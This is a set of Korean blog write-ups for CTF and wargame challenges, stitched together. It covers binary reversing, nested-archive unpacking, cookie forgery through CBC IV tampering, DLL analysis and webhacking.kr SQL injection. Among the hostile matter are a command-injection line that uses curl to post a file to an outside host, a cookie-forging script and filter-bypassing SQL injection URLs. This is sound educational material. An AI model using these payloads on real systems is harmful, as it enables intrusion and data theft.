문제를 먼저 확인하고 x64인걸 확인 후, IDA 64로 까봤습니다.

파일을 확인해보면 다음과 같이 main 속에 있는 check 함수를 발견할 수 있습니다.

check 함수에서 처음에 if 문 안에 아무것도 없나 싶어서 넘어가려 했는데...

나중에서야 e() 함수를 발견하였습니다.


위에 저기 쳐져 있는 것 보이시죠.


옆에 있는 함수들이 보였는데, 여기에서 사용하였던 것이었습니다.

그러면 이제 저 함수로 차례차례 들어가 보면 다음과 같이 쭈욱 나옵니다.


마지막 함수는 a 함수이며, 각 함수에서는 a1이라는 char* 변수에 값을 비교하는 것을 볼 수 있습니다.

저 위에서 변수에 값을 비교하는 것을 보고, 각 순서대로 들어간 값이 무엇인지 알기위해 코드를 작성해보았습니다.


a1 = [0] * 19

a1[4] = 123 
a1[12] = 51 
a1[8] = 121 
a1[13] = 114
a1[3] = 71 
a1[11] = 118 
a1[5] = 51
a1[14] = 53 
a1[16] = 110
a1[10] = 51 
a1[18] = 125 
a1[6] = 97
a1[15] = 105 
a1[9] = 114 
a1[1] = 76
a1[7] = 53 
a1[17] = 103 
a1[2] = 65
#*a1 = 70
a1[0] = 70


string = ""

for a in a1:
    string += chr(a)

print("[+] String : %s" % string)

#[+] String : FLAG{3a5yr3v3r5ing}


file로 확인해보니 Zip파일인 걸 확인하고 압축을 풀어보려 했더니 아래와 같이 암호가 걸려 있었습니다.

혹시나 해서 이것저것 입력해봤지만, 잠깐의 게싱으로는 풀 수 없었습니다.

그러다가 혹시 암호화가 안 돼 있는데, 암호화 됐다고 하는 페이크인가 생각해봤는데

이것도 아니었습니다.


마지막으로 혹시나 해서 파일 이름으로 비밀번호를 입력해봤더니 풀렸습니다.

세상에...

코드 코드.....

import tarfile
import zipfile
import os

def decompress_tar(filename, path):
    with tarfile.TarFile(filename) as tar_decompress:
        tar_decompress.extractall(path)


def decompress_zip(filename, password, path):
    print("FileName : ", filename)
    print("Password : ", password)

    with zipfile.ZipFile(filename) as zf:
        compressed_name = zf.namelist()[0]
        zf.extractall(path=path, pwd=password)

    return compressed_name


def file_rename(filename):
    reName = filename + ".zip"
    os.rename(filename, reName)

    return reName

Done = False


FileName        = "RWtm7A5f" # it is also password

while not Done:
    Password        = FileName.encode()

    #FileName        = file_rename(FileName)
    FileName        = decompress_zip(FileName, Password, './')

    print("FileName : %s" % FileName)

decompress_tar(FileName, './flag')


위와 같이 문제 파일을 풀어보면, flag 파일이 하나 튀어나오는데, 그 파일은 TAR로 되어 있어서 TAR로 풀어보았습니다.


그런데....

위와 같은 폴더로 가득한 압축파일인 것을 확인할 수 있었습니다.

여기서 답이 없다고 생각하고 다른 문제를 보고 있었는데, 팀원의 도움으로 풀 수 있었습니다.

125 폴더 이후에는 아무런 파일이 없고, 그 이전의 파일에는 숫자로 이루어진 데이터가 없는 파일들이 있었습니다.

위와 같이 하나씩 나타나 있는데, 저 폴더에 표시된 예시를 들어보면 chr(101) 을 한 값을 9번째에 넣어라, 라는 의미가 될 수 있습니다.

때문에 저기 표시된 폴더의 값을 chr로 바꿔주고 그걸 원하는 번째의 string으로 만들어주면 FLAG가 나타나게 됩니다.


FLAG{m4tr3shk4_a5c11}


무슨 파일인고 보니, TAR이기도 하고, Zip이기도 하고, bzip2, gzip 등... 정말 많습니다.

아무래도 저렇게 해서 txt파일을 매우 압축한 것 같습니다.



위와 같이 손으로 하는 건 문제가 있습니다....

이건 프로그래밍을 해야 할 문제 같았습니다.


문제는 POSIX tar, bzip2, XZ, gzip, Zip 으로 총 다섯 가지 방식으로 압축되어 있습니다.

Python의 모듈이 있는 것들만 있군요...


코드를 작성하여 문제 파일을 쭉 풀어보면 총 723회 압축되어 있었음을 알 수 있었습니다...(숫자를 잘못 세어서 720회 내외일 수 있습니다.)


#!/bin/python3
import bz2
import gzip
import tarfile
import zipfile
import lzma
import magic
import os


def decompress_bz2(filename):
    with open(filename, "rb") as file_rb:
        tmpData = file_rb.read()

    with open('flag.txt', 'wb') as file_wb:
        file_wb.write(bz2.decompress(tmpData))


def decompress_gzip(filename):
    with gzip.open(filename, "rb") as gzip_rb:
        tmpData = gzip_rb.read()

    with open('flag.txt', 'wb') as file_wb:
        file_wb.write(tmpData)


def decompress_zip(filename):
    with zipfile.ZipFile(filename) as zip_decompress:
        zip_decompress.extractall()


def decompress_tar(filename):
    with tarfile.TarFile(filename) as tar_decompress:
        tar_decompress.extractall()


def decompress_xz(filename):
    with lzma.open(filename) as xz_decompress:
        tmpData = xz_decompress.read()

    with open('flag.txt', 'wb') as file_wb:
        file_wb.write(tmpData)


def find_compress_type(filename, cnt):
    ret = magic.from_file(filename)

    if "POSIX tar" in ret:
        return "tar"
    elif "bzip2" in ret:
        return "bz"
    elif "XZ compressed" in ret:
        return "xz"
    elif "gzip" in ret:
        return "gz"
    elif "Zip archive" in ret:
        return "zip"
    else:
        print("[-] ret : ", ret)
        return None
    

def file_rename(filename, compress_type, cnt):
    tmpFileName = "flag_%03d" % cnt

    os.rename(filename, tmpFileName + "." + compress_type)

    return tmpFileName + "." + compress_type


def decompress(filename, compress_type):
    if compress_type == "tar":
        decompress_tar(filename)
    elif compress_type == "bz":
        decompress_bz2(filename)
    elif compress_type == "xz":
        decompress_xz(filename)
    elif compress_type == "gz":
        decompress_gzip(filename)
    elif compress_type == "zip":
        decompress_zip(filename)
    else:
        print("[-] Error ")
        exit()


Done = False
cnt  = 0

while not Done:
    cnt            += 1
    FileName        = "flag.txt"
    compress_type   = find_compress_type(FileName, cnt)
    print("[=] Compress Type : %s" % compress_type)

    if compress_type == None:
        print("[+] None Done !")
        Done        = True
        break

    FileName        = file_rename(FileName, compress_type, cnt)
    print("[=] Rename Name   : %s" % FileName)

    decompress(FileName, compress_type)


압축을 쭉 풀어 txt파일을 보면 플래그가 튀어 나옵니다.


FLAG{matri0sha256}





문제를 풀기 전에 Facebook 짝퉁 사이트가 아닌가 하는 의심이 들었습니다.

그런데 러시아 판 Facebook이라고 해서 일단 정상적인 사이트로 판단하고 문제를 풀기 시작하였습니다.


/buy 4를 하게 되면 Flag를 알 수 있는 구조인 걸 확인하고 어떻게 하면 100보다 많은 balance를 가질 수 있을지 고민하다가, 레이스 컨디션을 시도해보았습니다. 아니나 다를까 /sell이 두 번 되고 balance가 200이 되도록 할 수 있었습니다.


물론 봇에 두 번 명령을 보내기 위해서는 다음과 같이 페이지를 두 개를 켜서 수행했습니다.

(복붙을 하면 명령어를 잘 먹지 않더군요....)



문제를 들어가기 전에 Login 하는 거에 굉장히 조심스러웠습니다.

vk.com이 제대로된 사이트인지 좀 더 검증하고 문제를 풀이하였습니다.

(물론 정상적인 러시아 버전 페이스북인 걸 알고 구글 계정을 연동하였습니다.)



메신저로 들어가 commands를 입력해서 여러 시도를 해보는 도중 /ping 이 있길래, 혹시 커맨드 인젝션이 되는지 테스트해보았습니다.

현재 CTF가 끝나고 명령이 되진 않지만, 위와 같이 했을 때 되는 것을 확인하였습니다.

처음에는 ls를 해보고자 했는데 띄어쓰기가 되는 값을 GET 뒤에 붙여서 전송되지는 않아, README.txt밖에 안 보였습니다.


그래서 find 명령어로 혹시 flag라는 녀석이 있는지 찾아보았습니다.

위와 같이 테스트해본 결과 여러 결과가 나왔는데, curl명령어로 GET으로 보내는 데에는 한계가 있어, POST 명령어로 전송해보았습니다.

flag.jpg위치는 바로 아래였던 것이 행운이었습니다.


/ping - ping 1.1.1.1;curl -X POST -F file=@flag.jpg http://kkamikoon.com:7777 


위의 명령을 받기 위해 아래와 같이 받았습니다.

근데 값을 받아보니 HTTP Header들도 좀 있어서 HxD로 제거해주고 온전한 이미지 파일로 받았습니다.

열어보니 아래와 같이 열려 플래그를 인증할 수 있었습니다.


Wargame.kr 포스트는 이해한 내용과 복습을 위한 목적으로 작성되었습니다.

이번 포스트에서는 dun worry about vase 문제에 대한 이해와 풀이를 진행해보도록 하겠습니다.


이번 문제는 사실 살짝 쫄아 있었는데, 생각보다 어렵지 않은 문제였습니다.


 

 문제 이해

문제에서 바로 Oracle Padding에 대해 알고 있는지 물어보고 있습니다.

이 문제를 보고 바로 걱정했던 건..


오라클 패팅으로 브루트포싱을 어떻게 할까에 대한 고민이었습니다.


일단 걱정은 접어두고 문제를 살펴봤는데,


문제에서 나타난 Session은 L0g1n이라는 세션명으로, 계속해서 바뀌는 것을 볼 수 있었습니다.

아이디와 패스워드는 guest/guest로 변함이 없는데 왜 변하는지 잠시 고민하다 내놓은 뇌피셜은,

CBC 모드로 암호화할 때 사용하는 IV가 계속 달라지는 것이 아닐까 하는 합리적 의심을 해보았습니다.


일단 변하지 않도록 쿠키값만 슬쩍해서 공격을 수행해보도록 했습니다.




 

 문제 풀이


오라클패팅에 대한 개념을 이해하고, %3D가 두 개가 보이는 것을 확인하고, ID와 PW에 대한 IV가 각각 다르구나로 생각했습니다.


일단 ID값이 5Bytes로 guest이고, PW에 들어간 값도 동일했으니, 암호문인 쿠키값의 길이를 측정해보았습니다.

Base64를 디코딩 후 길이를 재보니 각각 8바이트였습니다.


그렇다면 예상해보면 guest\x03\x03\x03과 같이 패딩이 되어 있을 것이라 생각했습니다.


이후 공격코드를 작성해서 풀이를 진행해보았습니다.


import base64

def bytesBlockXOR(block1, block2, length):
    resBlock = b''

    for idx in range(length):
        resBlock += bytes([block1[idx] ^ block2[idx]])

    return resBlock


ID          = '1h3ooS1xGJs='
PW          = 'G3jfbRJUnj4='

ID_Bytes    = base64.b64decode(ID)
PW_Bytes    = base64.b64decode(PW)

ID_IV       = bytesBlockXOR(b'guest\x03\x03\x03', ID_Bytes, 8)
PW_IV       = bytesBlockXOR(b'guest\x03\x03\x03', PW_Bytes, 8)

print('[+] ID_IV : ', ID_IV)
print('[+] PW_IV : ', PW_IV)


ADMIN_ID_ENC= bytesBlockXOR(b'admin\x03\x03\x03', ID_IV, 8)

print("[+] ADMIN ID ENCRYPTED : %s" % base64.b64encode(ADMIN_ID_ENC))

# 1h3ooS1xGJs%3DG3jfbRJUnj4%3D
# 0AzguzdxGJs=
# 0AzguzdxGJs%3DG3jfbRJUnj4%3D


일단은 ID에 대한 암호문은 구했지만 PW에 대한 암호문은 PW를 모르니....

일단 ID 암호문만 바꿔줘보자 했었는데,


ID 만 바꿔줘도 admin으로 풀리더군요.




Wargame.kr 포스트는 이해한 내용과 복습을 위한 목적으로 작성되었습니다.

이번 포스트에서는 dll with notepad 문제에 대한 이해와 풀이를 진행해보도록 하겠습니다.


IDA로 본격적으로 DLL을 열어보는 기념비적인 문제입니다.


 

 문제 이해

문제에서 DLL 파일을 리버싱할 수 있느냐를 물어보며 시작됩니다.

사실 X64DBG나 OllyDBG를 사용하던 시절에 리버싱을 했었다면 상당히 고생했을 거 같습니다.


그러나 지금은 IDA와 같은 좋은 툴이 있습니다...

그리고 문제 본문을 보면 localtime이 어쩌구 하는 것을 확인할 수 있었습니다.


아무래도 localtime으로 뭔가가 달라지는 것이 아닐까 합니다.



IDA로 문제 파일 중 DLL 파일을 열어보면 아래와 같이 start 함수에 notepad.exe라는 문자열과 비교하는 부분이 있습니다.


이 부분에서 notepad.exe라는 문자열과 같지 않으면 해당 루틴으로 넘어가지 않는다고 나와 있습니다. 아무래도 같이 제공된 notepad.exe 파일이 해당 DLL 파일을 불러오는 것이라는 합리적인 의심을 해볼 수 있습니다.

다음으로 StartAddress 함수를 들어가보니 Sleep 위에 함수가 하나 호출되는 것을 볼 수 있었습니다.


아래의 루틴은 크게 의미가 없어보여서 해당 함수로 들어가보았습니다.


여기서, 친절하게 문제에서 localtime을 유의하라고 하였는데, localtime를 확인하는 로직이 나오는 걸 보니 빙고인 것 같습니다.

여기서 쭉 분석을 해봤는데, 밑줄을 그은 부분을 보면 해당 주소를 하나씩 증가 시키면서 v1에 저장되는 값을 계속해서 추가적으로 저장하는 것을 볼 수 있었습니다.


그리고 위의 값은 다룬 곳에서 따로 변하는 것이 없었고, 위의 루틴에서 나와 바로 strcmp를 하는 것이 확인되었습니다.

그렇다면 해당 값이 무언가 의미가 있을 것으로 보입니다.


아무래도 해당 값을 확인해봐야 할 것 같은데... 리버싱으로 코드를 똑같이 만들어 계산해볼 엄두가 나질 않았습니다.


때문에 저는 동적 분석을 수행하였습니다.


X64dbg로 notepad가 켜지도록 하여 해당 영역의 값이 어떻게 변하는지 확인해봐야겠다고 생각했습니다.



 

 문제 풀이

notepad.exe를 x64dbg 로 32Byte를 지원하는 바이너리로 실행하고, 분석을 추가적으로 진행했지만, 별다른 소득은 없었습니다.

그래서 처음 분석한 내용을 먼저 확인해보자해서 notepad.exe가 실행될 때까지 그냥 실행하고,

이후 추가적인 문자열이 나타났는지 확인해보았습니다.

그랬더니 아래와 같이 나왔습니다.


그랬더니 위와 같은 문자열이 나타나는 것을 확인하였습니다.



문제 소스를 봅시다.

<?php
  include "../../config.php";
  if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 50</title>
</head>
<body>
<h1>SQL INJECTION</h1>
<form method=get>
id : <input name=id value='guest'><br>
pw : <input name=pw value='guest'><br>
<input type=submit>   <input type=reset>
</form>
<?php
  if($_GET['id'] && $_GET['pw']){
    $db = dbconnect();
    $_GET['id'] = addslashes($_GET['id']); 
    $_GET['pw'] = addslashes($_GET['pw']);
    $_GET['id'] = mb_convert_encoding($_GET['id'],'utf-8','euc-kr');
    foreach($_GET as $ck) if(preg_match("/from|pw|\(|\)| |%|=|>|</i",$ck)) exit();
    if(preg_match("/union/i",$_GET['id'])) exit();
    $result = mysqli_fetch_array(mysqli_query($db,"select lv from chall50 where id='{$_GET['id']}' and pw=md5('{$_GET['pw']}')"));
    if($result){
      if($result['lv']==1) echo("level : 1<br><br>");
      if($result['lv']==2) echo("level : 2<br><br>");
    } 
    if($result['lv']=="3") solve(50);
    if(!$result) echo("Wrong");
  }
?>
<hr><a href=./?view_source=1>view-source</a>
</body>
</html>


id와 pw에 addslashes가 붙어 있는데 mb_convert_encoding과 쌍을 이루는 건 id입니다.

일단 id에는 %af 처럼 멀티바이트를 먹일 수 있습니다.


다만 그 이외의 필터링이 조금 빡셉니다.


꺽쇠와 equal 표시가 다 안 되고, 소괄호도 막혀 있어 함수를 사용할 수도 없습니다.


처음에는 like로 우회가 가능했습니다.


그.러.나.


?id=%af%5c&pw=||lv%09like%093%23 이와 같이 우회를 했을 때 like 1, like 2일 때는 잘 출력되지만 3일 경우는 출력되지 않습니다.

여기서는 따로 3이라는 값이 없는 것으로 생각됩니다.


여기서 union을 preg_match로 막아두었던 것은 id 파라미터뿐이고, pw에는 막지 않았었네요.



https://webhacking.kr/challenge/web-25/?id=%af%5c&pw=||0%09union%09select%093%23

'WARGAMES > webhacking.kr - old' 카테고리의 다른 글

Webhacking.kr_No49(300) - old  (0) 2020.01.15
Webhacking.kr_No48(350) - old  (0) 2020.01.15
Webhacking.kr_No47(150) - old  (0) 2020.01.15
Webhacking.kr_No46(300) - old  (0) 2020.01.15
Webhacking.kr_No45(550) - old  (0) 2020.01.13
Webhacking.kr_No44(250) - old  (0) 2020.01.13
Webhacking.kr_No43(250) - old  (0) 2020.01.08
Webhacking.kr_No42(200) - old  (0) 2020.01.08

문제를 살펴보면 다음과 같습니다.

<?php
  include "../../config.php";
  if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 49</title>
</head>
<body>
<h1>SQL INJECTION</h1>
<form method=get>
level : <input name=lv value=1><input type=submit>
</form>
<?php
  if($_GET['lv']){
    $db = dbconnect();
    if(preg_match("/select|or|and|\(|\)|limit|,|\/|order|cash| |\t|\'|\"/i",$_GET['lv'])) exit("no hack");
    $result = mysqli_fetch_array(mysqli_query($db,"select id from chall49 where lv={$_GET['lv']}"));
    echo $result[0] ;
    if($result[0]=="admin") solve(49);
  }
?>
<hr><a href=./?view_source=1>view-source</a>
</body>
</html>



문제에서 lv 이란 GET 메소드 변수에 엄청나게 많은 필터링을 걸어두었군요.

그러나 우리는 저 험난한 과정을 뚫고 SQLi를 수행해야 합니다.


일단 따로 select나 or, and, 소괄호, 띄어쓰기, 탭이 안 된다고 나와있습니다.


띄어쓰기와 탭 대신 엔터로 우회하면 될 것 같으니 try try.


싱글쿼터는 우회할 수 없으니 0x로 대신합시다.


https://webhacking.kr/challenge/web-24/?lv=-1||id%0alike%0a0x61646d696e


'WARGAMES > webhacking.kr - old' 카테고리의 다른 글

Webhacking.kr_No50(450) - old  (0) 2020.01.15
Webhacking.kr_No48(350) - old  (0) 2020.01.15
Webhacking.kr_No47(150) - old  (0) 2020.01.15
Webhacking.kr_No46(300) - old  (0) 2020.01.15
Webhacking.kr_No45(550) - old  (0) 2020.01.13
Webhacking.kr_No44(250) - old  (0) 2020.01.13
Webhacking.kr_No43(250) - old  (0) 2020.01.08
Webhacking.kr_No42(200) - old  (0) 2020.01.08

+ Recent posts